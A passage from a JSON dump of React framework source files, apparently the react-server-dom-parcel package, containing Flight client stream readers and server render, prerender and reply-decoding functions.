DebugChannel =\n    __DEV__ && options && options.debugChannel !== undefined\n      ? {\n          hasReadable: options.debugChannel.readable !== undefined,\n          callback:\n            options.debugChannel.writable !== undefined\n              ? createDebugCallbackFromWritableStream(\n                  options.debugChannel.writable,\n                )\n              : null,\n        }\n      : undefined;\n\n  return createResponse(\n    null, // bundlerConfig\n    null, // serverReferenceConfig\n    null, // moduleLoading\n    callCurrentServerCallback,\n    undefined, // encodeFormAction\n    undefined, // nonce\n    options && options.temporaryReferences\n      ? options.temporaryReferences\n      : undefined,\n    options && options.unstable_allowPartialStream\n      ? options.unstable_allowPartialStream\n      : false,\n    __DEV__ ? findSourceMapURL : undefined,\n    __DEV__ ? (options ? options.replayConsoleLogs !== false : true) : false, // defaults to true\n    __DEV__ && options && options.environmentName\n      ? options.environmentName\n      : undefined,\n    __DEV__ && options && options.startTime != null\n      ? options.startTime\n      : undefined,\n    __DEV__ && options && options.endTime != null ? options.endTime : undefined,\n    debugChannel,\n  );\n}\n\nfunction startReadingFromUniversalStream(\n  response: FlightResponse,\n  stream: ReadableStream,\n  onDone: () => void,\n): void {\n  // This is the same as startReadingFromStream except this allows WebSocketStreams which\n  // return ArrayBuffer and string chunks instead of Uint8Array chunks. We could potentially\n  // always allow streams with variable chunk types.\n  const streamState = createStreamState(response, stream);\n  const reader = stream.getReader();\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: any,\n    ...\n  }): void | Promise<void> {\n    if (done) {\n      return onDone();\n    }\n    if (value instanceof ArrayBuffer) {\n      // WebSockets can produce ArrayBuffer values in ReadableStreams.\n      processBinaryChunk(response, streamState, new Uint8Array(value));\n    } else if (typeof value === 'string') {\n      // WebSockets can produce string values in ReadableStreams.\n      processStringChunk(response, streamState, value);\n    } else {\n      processBinaryChunk(response, streamState, value);\n    }\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    reportGlobalError(response, e);\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction startReadingFromStream(\n  response: FlightResponse,\n  stream: ReadableStream,\n  onDone: () => void,\n  debugValue: mixed,\n): void {\n  const streamState = createStreamState(response, debugValue);\n  const reader = stream.getReader();\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    if (done) {\n      return onDone();\n    }\n    const buffer: Uint8Array = (value: any);\n    processBinaryChunk(response, streamState, buffer);\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    reportGlobalError(response, e);\n  }\n  reader.read().then(progress).catch(error);\n}\n\nexport type Options = {\n  debugChannel?: {writable?: WritableStream, readable?: ReadableStream, ...},\n  temporaryReferences?: TemporaryReferenceSet,\n  unstable_allowPartialStream?: boolean,\n  replayConsoleLogs?: boolean,\n  environmentName?: string,\n  startTime?: number,\n  endTime?: number,\n};\n\nexport function createFromReadableStream<T>(\n  stream: ReadableStream,\n  options?: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n  if (\n    __DEV__ &&\n    options &&\n    options.debugChannel &&\n    options.debugChannel.readable\n  ) {\n    let streamDoneCount = 0;\n    const handleDone = () => {\n      if (++streamDoneCount === 2) {\n        close(response);\n      }\n    };\n    startReadingFromUniversalStream(\n      response,\n      options.debugChannel.readable,\n      handleDone,\n    );\n    startReadingFromStream(response, stream, handleDone, stream);\n  } else {\n    startReadingFromStream(\n      response,\n      stream,\n      close.bind(null, response),\n      stream,\n    );\n  }\n  return getRoot(response);\n}\n\nexport function createFromFetch<T>(\n  promiseForResponse: Promise<Response>,\n  options?: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n  promiseForResponse.then(\n    function (r) {\n      if (\n        __DEV__ &&\n        options &&\n        options.debugChannel &&\n        options.debugChannel.readable\n      ) {\n        let streamDoneCount = 0;\n        const handleDone = () => {\n          if (++streamDoneCount === 2) {\n            close(response);\n          }\n        };\n        startReadingFromUniversalStream(\n          response,\n          options.debugChannel.readable,\n          handleDone,\n        );\n        startReadingFromStream(response, (r.body: any), handleDone, r);\n      } else {\n        startReadingFromStream(\n          response,\n          (r.body: any),\n          close.bind(null, response),\n          r,\n        );\n      }\n    },\n    function (e) {\n      reportGlobalError(response, e);\n    },\n  );\n  return getRoot(response);\n}\n\nexport function encodeReply(\n  value: ReactServerValue,\n  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},\n): Promise<\n  string | URLSearchParams | FormData,\n> /* We don't use URLSearchParams yet but maybe */ {\n  return new Promise((resolve, reject) => {\n    const abort = processReply(\n      value,\n      '', // formFieldPrefix\n      options && options.temporaryReferences\n        ? options.temporaryReferences\n        : undefined,\n      resolve,\n      reject,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort((signal: any).reason);\n      } else {\n        const listener = () => {\n          abort((signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n  });\n}\n\nif (__DEV__) {\n  injectIntoDevTools();\n}\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/client/ReactFlightDOMClientEdge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';\n\nimport type {\n  DebugChannel,\n  Response as FlightResponse,\n} from 'react-client/src/ReactFlightClient';\nimport type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';\n\nimport {\n  createResponse,\n  createStreamState,\n  getRoot,\n  reportGlobalError,\n  processBinaryChunk,\n  close,\n} from 'react-client/src/ReactFlightClient';\n\nimport {\n  processReply,\n  createServerReference as createServerReferenceImpl,\n} from 'react-client/src/ReactFlightReplyClient';\n\nexport {registerServerReference} from 'react-client/src/ReactFlightReplyClient';\n\nimport type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\nexport type {TemporaryReferenceSet};\n\nfunction findSourceMapURL(filename: string, environmentName: string) {\n  const devServer = parcelRequire.meta.devServer;\n  if (devServer != null) {\n    const qs = new URLSearchParams();\n    qs.set('filename', filename);\n    qs.set('env', environmentName);\n    return devServer + '/__parcel_source_map?' + qs.toString();\n  }\n  return null;\n}\n\nfunction noServerCall() {\n  throw new Error(\n    'Server Functions cannot be called during initial render. ' +\n      'This would create a fetch waterfall. Try to use a Server Component ' +\n      'to pass data to Client Components instead.',\n  );\n}\n\nexport function createServerReference<A: Iterable<any>, T>(\n  id: string,\n  exportName: string,\n): (...A) => Promise<T> {\n  return createServerReferenceImpl(\n    id + '#' + exportName,\n    noServerCall,\n    undefined,\n    findSourceMapURL,\n    exportName,\n  );\n}\n\ntype EncodeFormActionCallback = <A>(\n  id: any,\n  args: Promise<A>,\n) => ReactCustomFormAction;\n\nexport type Options = {\n  nonce?: string,\n  encodeFormAction?: EncodeFormActionCallback,\n  temporaryReferences?: TemporaryReferenceSet,\n  unstable_allowPartialStream?: boolean,\n  replayConsoleLogs?: boolean,\n  environmentName?: string,\n  startTime?: number,\n  endTime?: number,\n  // For the Edge client we only support a single-direction debug channel.\n  debugChannel?: {readable?: ReadableStream, ...},\n};\n\nfunction createResponseFromOptions(options?: Options) {\n  const debugChannel: void | DebugChannel =\n    __DEV__ && options && options.debugChannel !== undefined\n      ? {\n          hasReadable: options.debugChannel.readable !== undefined,\n          callback: null,\n        }\n      : undefined;\n\n  return createResponse(\n    null, // bundlerConfig\n    null, // serverReferenceConfig\n    null, // moduleLoading\n    noServerCall,\n    options ? options.encodeFormAction : undefined,\n    options && typeof options.nonce === 'string' ? options.nonce : undefined,\n    options && options.temporaryReferences\n      ? options.temporaryReferences\n      : undefined,\n    options && options.unstable_allowPartialStream\n      ? options.unstable_allowPartialStream\n      : false,\n    __DEV__ ? findSourceMapURL : undefined,\n    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false\n    __DEV__ && options && options.environmentName\n      ? options.environmentName\n      : undefined,\n    __DEV__ && options && options.startTime != null\n      ? options.startTime\n      : undefined,\n    __DEV__ && options && options.endTime != null ? options.endTime : undefined,\n    debugChannel,\n  );\n}\n\nfunction startReadingFromStream(\n  response: FlightResponse,\n  stream: ReadableStream,\n  onDone: () => void,\n  debugValue: mixed,\n): void {\n  const streamState = createStreamState(response, debugValue);\n  const reader = stream.getReader();\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    if (done) {\n      return onDone();\n    }\n    const buffer: Uint8Array = (value: any);\n    processBinaryChunk(response, streamState, buffer);\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    reportGlobalError(response, e);\n  }\n  reader.read().then(progress).catch(error);\n}\n\nexport function createFromReadableStream<T>(\n  stream: ReadableStream,\n  options?: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n\n  if (\n    __DEV__ &&\n    options &&\n    options.debugChannel &&\n    options.debugChannel.readable\n  ) {\n    let streamDoneCount = 0;\n    const handleDone = () => {\n      if (++streamDoneCount === 2) {\n        close(response);\n      }\n    };\n    startReadingFromStream(response, options.debugChannel.readable, handleDone);\n    startReadingFromStream(response, stream, handleDone, stream);\n  } else {\n    startReadingFromStream(\n      response,\n      stream,\n      close.bind(null, response),\n      stream,\n    );\n  }\n\n  return getRoot(response);\n}\n\nexport function createFromFetch<T>(\n  promiseForResponse: Promise<Response>,\n  options?: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n  promiseForResponse.then(\n    function (r) {\n      if (\n        __DEV__ &&\n        options &&\n        options.debugChannel &&\n        options.debugChannel.readable\n      ) {\n        let streamDoneCount = 0;\n        const handleDone = () => {\n          if (++streamDoneCount === 2) {\n            close(response);\n          }\n        };\n        startReadingFromStream(\n          response,\n          options.debugChannel.readable,\n          handleDone,\n        );\n        startReadingFromStream(response, (r.body: any), handleDone, r);\n      } else {\n        startReadingFromStream(\n          response,\n          (r.body: any),\n          close.bind(null, response),\n          r,\n        );\n      }\n    },\n    function (e) {\n      reportGlobalError(response, e);\n    },\n  );\n  return getRoot(response);\n}\n\nexport function encodeReply(\n  value: ReactServerValue,\n  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},\n): Promise<\n  string | URLSearchParams | FormData,\n> /* We don't use URLSearchParams yet but maybe */ {\n  return new Promise((resolve, reject) => {\n    const abort = processReply(\n      value,\n      '',\n      options && options.temporaryReferences\n        ? options.temporaryReferences\n        : undefined,\n      resolve,\n      reject,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort((signal: any).reason);\n      } else {\n        const listener = () => {\n          abort((signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n  });\n}\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/client/ReactFlightDOMClientNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';\nimport type {DebugChannel, Response} from 'react-client/src/ReactFlightClient';\nimport type {Readable} from 'stream';\n\nimport {\n  createResponse,\n  createStreamState,\n  getRoot,\n  reportGlobalError,\n  processStringChunk,\n  processBinaryChunk,\n  close,\n} from 'react-client/src/ReactFlightClient';\n\nexport * from './ReactFlightDOMClientEdge';\n\nfunction findSourceMapURL(filename: string, environmentName: string) {\n  const devServer = parcelRequire.meta.devServer;\n  if (devServer != null) {\n    const qs = new URLSearchParams();\n    qs.set('filename', filename);\n    qs.set('env', environmentName);\n    return devServer + '/__parcel_source_map?' + qs.toString();\n  }\n  return null;\n}\n\nfunction noServerCall() {\n  throw new Error(\n    'Server Functions cannot be called during initial render. ' +\n      'This would create a fetch waterfall. Try to use a Server Component ' +\n      'to pass data to Client Components instead.',\n  );\n}\n\ntype EncodeFormActionCallback = <A>(\n  id: any,\n  args: Promise<A>,\n) => ReactCustomFormAction;\n\nexport type Options = {\n  nonce?: string,\n  encodeFormAction?: EncodeFormActionCallback,\n  unstable_allowPartialStream?: boolean,\n  replayConsoleLogs?: boolean,\n  environmentName?: string,\n  startTime?: number,\n  endTime?: number,\n  // For the Node.js client we only support a single-direction debug channel.\n  debugChannel?: Readable,\n};\n\nfunction startReadingFromStream(\n  response: Response,\n  stream: Readable,\n  onEnd: () => void,\n): void {\n  const streamState = createStreamState(response, stream);\n\n  stream.on('data', chunk => {\n    if (typeof chunk === 'string') {\n      processStringChunk(response, streamState, chunk);\n    } else {\n      processBinaryChunk(response, streamState, chunk);\n    }\n  });\n\n  stream.on('error', error => {\n    reportGlobalError(response, error);\n  });\n\n  stream.on('end', onEnd);\n}\n\nexport function createFromNodeStream<T>(\n  stream: Readable,\n  options?: Options,\n): Thenable<T> {\n  const debugChannel: void | DebugChannel =\n    __DEV__ && options && options.debugChannel !== undefined\n      ? {hasReadable: true, callback: null}\n      : undefined;\n\n  const response: Response = createResponse(\n    null, // bundlerConfig\n    null, // serverReferenceConfig\n    null, // moduleLoading\n    noServerCall,\n    options ? options.encodeFormAction : undefined,\n    options && typeof options.nonce === 'string' ? options.nonce : undefined,\n    undefined, // TODO: If encodeReply is supported, this should support temporaryReferences\n    options && options.unstable_allowPartialStream\n      ? options.unstable_allowPartialStream\n      : false,\n    __DEV__ ? findSourceMapURL : undefined,\n    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false\n    __DEV__ && options && options.environmentName\n      ? options.environmentName\n      : undefined,\n    __DEV__ && options && options.startTime != null\n      ? options.startTime\n      : undefined,\n    __DEV__ && options && options.endTime != null ? options.endTime : undefined,\n    debugChannel,\n  );\n\n  if (__DEV__ && options && options.debugChannel) {\n    let streamEndedCount = 0;\n    const handleEnd = () => {\n      if (++streamEndedCount === 2) {\n        close(response);\n      }\n    };\n    startReadingFromStream(response, options.debugChannel, handleEnd);\n    startReadingFromStream(response, stream, handleEnd);\n  } else {\n    startReadingFromStream(response, stream, close.bind(null, response));\n  }\n\n  return getRoot(response);\n}\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/client/react-flight-dom-client.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactFlightDOMClientBrowser';\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/client/react-flight-dom-client.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactFlightDOMClientEdge';\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/client/react-flight-dom-client.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactFlightDOMClientNode';\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/server/ReactFlightDOMServerBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Request,\n  ReactClientValue,\n} from 'react-server/src/ReactFlightServer';\nimport type {ReactFormState, Thenable} from 'shared/ReactTypes';\n\nimport {\n  preloadModule,\n  requireModule,\n  resolveServerReference,\n  type ServerManifest,\n  type ServerReferenceId,\n} from '../client/ReactFlightClientConfigBundlerParcel';\n\nimport {\n  createRequest,\n  createPrerenderRequest,\n  startWork,\n  startFlowing,\n  startFlowingDebug,\n  stopFlowing,\n  abort,\n  resolveDebugMessage,\n  closeDebugChannel,\n} from 'react-server/src/ReactFlightServer';\n\nimport {\n  createResponse,\n  close,\n  getRoot,\n} from 'react-server/src/ReactFlightReplyServer';\n\nimport {\n  decodeAction as decodeActionImpl,\n  decodeFormState as decodeFormStateImpl,\n} from 'react-server/src/ReactFlightActionServer';\n\nexport {\n  createClientReference,\n  registerServerReference,\n} from '../ReactFlightParcelReferences';\n\nimport {\n  createStringDecoder,\n  readPartialStringChunk,\n  readFinalStringChunk,\n} from 'react-client/src/ReactFlightClientStreamConfigWeb';\n\nimport type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\nexport type {TemporaryReferenceSet};\n\ntype Options = {\n  debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  identifierPrefix?: string,\n  signal?: AbortSignal,\n  temporaryReferences?: TemporaryReferenceSet,\n  onError?: (error: mixed) => void,\n  startTime?: number,\n};\n\nfunction startReadingFromDebugChannelReadableStream(\n  request: Request,\n  stream: ReadableStream,\n): void {\n  const reader = stream.getReader();\n  const stringDecoder = createStringDecoder();\n  let stringBuffer = '';\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    const buffer: Uint8Array = (value: any);\n    stringBuffer += done\n      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))\n      : readPartialStringChunk(stringDecoder, buffer);\n    const messages = stringBuffer.split('\\n');\n    for (let i = 0; i < messages.length - 1; i++) {\n      resolveDebugMessage(request, messages[i]);\n    }\n    stringBuffer = messages[messages.length - 1];\n    if (done) {\n      closeDebugChannel(request);\n      return;\n    }\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    abort(\n      request,\n      new Error('Lost connection to the Debug Channel.', {\n        cause: e,\n      }),\n    );\n  }\n  reader.read().then(progress).catch(error);\n}\n\nexport function renderToReadableStream(\n  model: ReactClientValue,\n  options?: Options,\n): ReadableStream {\n  const debugChannelReadable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.readable\n      : undefined;\n  const debugChannelWritable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.writable\n      : undefined;\n  const request = createRequest(\n    model,\n    null,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    debugChannelReadable !== undefined,\n  );\n  if (options && options.signal) {\n    const signal = options.signal;\n    if (signal.aborted) {\n      abort(request, (signal: any).reason);\n    } else {\n      const listener = () => {\n        abort(request, (signal: any).reason);\n        signal.removeEventListener('abort', listener);\n      };\n      signal.addEventListener('abort', listener);\n    }\n  }\n  if (debugChannelWritable !== undefined) {\n    const debugStream = new ReadableStream(\n      {\n        type: 'bytes',\n        pull: (controller): ?Promise<void> => {\n          startFlowingDebug(request, controller);\n        },\n      },\n      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n      {highWaterMark: 0},\n    );\n    debugStream.pipeTo(debugChannelWritable);\n  }\n  if (debugChannelReadable !== undefined) {\n    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);\n  }\n  const stream = new ReadableStream(\n    {\n      type: 'bytes',\n      start: (controller): ?Promise<void> => {\n        startWork(request);\n      },\n      pull: (controller): ?Promise<void> => {\n        startFlowing(request, controller);\n      },\n      cancel: (reason): ?Promise<void> => {\n        stopFlowing(request);\n        abort(request, reason);\n      },\n    },\n    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n    {highWaterMark: 0},\n  );\n  return stream;\n}\n\ntype StaticResult = {\n  prelude: ReadableStream,\n};\n\nexport function prerender(\n  model: ReactClientValue,\n  options?: Options,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n      resolve({prelude: stream});\n    }\n    const request = createPrerenderRequest(\n      model,\n      null,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      options ? options.startTime : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n      false,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        const reason = (signal: any).reason;\n        abort(request, reason);\n      } else {\n        const listener = () => {\n          const reason = (signal: any).reason;\n          abort(request, reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nlet serverManifest: ServerManifest = {};\nexport function registerServerActions(manifest: ServerManifest) {\n  // This function is called by the bundler to register the manifest.\n  serverManifest = manifest;\n}\n\nexport function decodeReply<T>(\n  body: string | FormData,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  if (typeof body === 'string') {\n    const form = new FormData();\n    form.append('0', body);\n    body = form;\n  }\n  const response = createResponse(\n    serverManifest,\n    '',\n    options ? options.temporaryReferences : undefined,\n    body,\n    options ? options.arraySizeLimit : undefined,\n  );\n  const root = getRoot<T>(response);\n  close(response);\n  return root;\n}\n\nexport function decodeAction<T>(body: FormData): Promise<() => T> | null {\n  return decodeActionImpl(body, serverManifest);\n}\n\nexport function decodeFormState<S>(\n  actionResult: S,\n  body: FormData,\n): Promise<ReactFormState<S, ServerReferenceId> | null> {\n  return decodeFormStateImpl(actionResult, body, serverManifest);\n}\n\nexport function loadServerAction<F: (...any[]) => any>(id: string): Promise<F> {\n  const reference = resolveServerReference<any>(serverManifest, id);\n  return Promise.resolve(reference)\n    .then(() => preloadModule(reference))\n    .then(() => {\n      const fn = requireModule(reference);\n      if (typeof fn !== 'function') {\n        throw new Error('Server actions must be functions');\n      }\n      return fn;\n    });\n}\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/server/ReactFlightDOMServerEdge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Request,\n  ReactClientValue,\n} from 'react-server/src/ReactFlightServer';\nimport type {ReactFormState, Thenable} from 'shared/ReactTypes';\n\nimport {\n  preloadModule,\n  requireModule,\n  resolveServerReference,\n  type ServerManifest,\n  type ServerReferenceId,\n} from '../client/ReactFlightClientConfigBundlerParcel';\n\nimport {ASYNC_ITERATOR} from 'shared/ReactSymbols';\n\nimport {\n  createRequest,\n  createPrerenderRequest,\n  startWork,\n  startFlowing,\n  startFlowingDebug,\n  stopFlowing,\n  abort,\n  resolveDebugMessage,\n  closeDebugChannel,\n} from 'react-server/src/ReactFlightServer';\n\nimport {\n  createResponse,\n  close,\n  getRoot,\n  reportGlobalError,\n  resolveField,\n  resolveFile,\n} from 'react-server/src/ReactFlightReplyServer';\n\nimport {\n  decodeAction as decodeActionImpl,\n  decodeFormState as decodeFormStateImpl,\n} from 'react-server/src/ReactFlightActionServer';\n\nexport {\n  createClientReference,\n  registerServerReference,\n} from '../ReactFlightParcelReferences';\n\nimport {\n  createStringDecoder,\n  readPartialStringChunk,\n  readFinalStringChunk,\n} from 'react-client/src/ReactFlightClientStreamConfigWeb';\n\nimport type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\nexport type {TemporaryReferenceSet};\n\ntype Options = {\n  debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  identifierPrefix?: string,\n  signal?: AbortSignal,\n  temporaryReferences?: TemporaryReferenceSet,\n  onError?: (error: mixed) => void,\n  startTime?: number,\n};\n\nfunction startReadingFromDebugChannelReadableStream(\n  request: Request,\n  stream: ReadableStream,\n): void {\n  const reader = stream.getReader();\n  const stringDecoder = createStringDecoder();\n  let stringBuffer = '';\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    const buffer: Uint8Array = (value: any);\n    stringBuffer += done\n      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))\n      : readPartialStringChunk(stringDecoder, buffer);\n    const messages = stringBuffer.split('\\n');\n    for (let i = 0; i < messages.length - 1; i++) {\n      resolveDebugMessage(request, messages[i]);\n    }\n    stringBuffer = messages[messages.length - 1];\n    if (done) {\n      closeDebugChannel(request);\n      return;\n    }\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    abort(\n      request,\n      new Error('Lost connection to the Debug Channel.', {\n        cause: e,\n      }),\n    );\n  }\n  reader.read().then(progress).catch(error);\n}\n\nexport function renderToReadableStream(\n  model: ReactClientValue,\n  options?: Options,\n): ReadableStream {\n  const debugChannelReadable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.readable\n      : undefined;\n  const debugChannelWritable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.writable\n      : undefined;\n  const request = createRequest(\n    model,\n    null,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    debugChannelReadable !== undefined,\n  );\n  if (options && options.signal) {\n    const signal = options.signal;\n    if (signal.aborted) {\n      abort(request, (signal: any).reason);\n    } else {\n      const listener = () => {\n        abort(request, (signal: any).reason);\n        signal.removeEventListener('abort', listener);\n      };\n      signal.addEventListener('abort', listener);\n    }\n  }\n  if (debugChannelWritable !== undefined) {\n    const debugStream = new ReadableStream(\n      {\n        type: 'bytes',\n        pull: (controller): ?Promise<void> => {\n          startFlowingDebug(request, controller);\n        },\n      },\n      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n      {highWaterMark: 0},\n    );\n    debugStream.pipeTo(debugChannelWritable);\n  }\n  if (debugChannelReadable !== undefined) {\n    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);\n  }\n  const stream = new ReadableStream(\n    {\n      type: 'bytes',\n      start: (controller): ?Promise<void> => {\n        startWork(request);\n      },\n      pull: (controller): ?Promise<void> => {\n        startFlowing(request, controller);\n      },\n      cancel: (reason): ?Promise<void> => {\n        stopFlowing(request);\n        abort(request, reason);\n      },\n    },\n    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n    {highWaterMark: 0},\n  );\n  return stream;\n}\n\ntype StaticResult = {\n  prelude: ReadableStream,\n};\n\nexport function prerender(\n  model: ReactClientValue,\n  options?: Options,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n      resolve({prelude: stream});\n    }\n    const request = createPrerenderRequest(\n      model,\n      null,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      options ? options.startTime : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n      false,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        const reason = (signal: any).reason;\n        abort(request, reason);\n      } else {\n        const listener = () => {\n          const reason = (signal: any).reason;\n          abort(request, reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nlet serverManifest: ServerManifest = {};\nexport function registerServerActions(manifest: ServerManifest) {\n  // This function is called by the bundler to register the manifest.\n  serverManifest = manifest;\n}\n\nexport function decodeReply<T>(\n  body: string | FormData,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  if (typeof body === 'string') {\n    const form = new FormData();\n    form.append('0', body);\n    body = form;\n  }\n  const response = createResponse(\n    serverManifest,\n    '',\n    options ? options.temporaryReferences : undefined,\n    body,\n    options ? options.arraySizeLimit : undefined,\n  );\n  const root = getRoot<T>(response);\n  close(response);\n  return root;\n}\n\nexport function decodeReplyFromAsyncIterable<T>(\n  iterable: AsyncIterable<[string, string | File]>,\n  options?: {temporaryReferences?: TemporaryReferenceSet},\n): Thenable<T> {\n  const iterator: AsyncIterator<[string, string | File]> =\n    iterable[ASYNC_ITERATOR]();\n\n  const response = createResponse(\n    serverManifest,\n    '',\n    options ? options.temporaryReferences : undefined,\n  );\n\n  function progress(\n    entry:\n      | {done: false, +value: [string, string | File], ...}\n      | {done: true, +value: void, ...},\n  ) {\n    if (entry.done) {\n      close(response);\n    } else {\n      const [name, value] 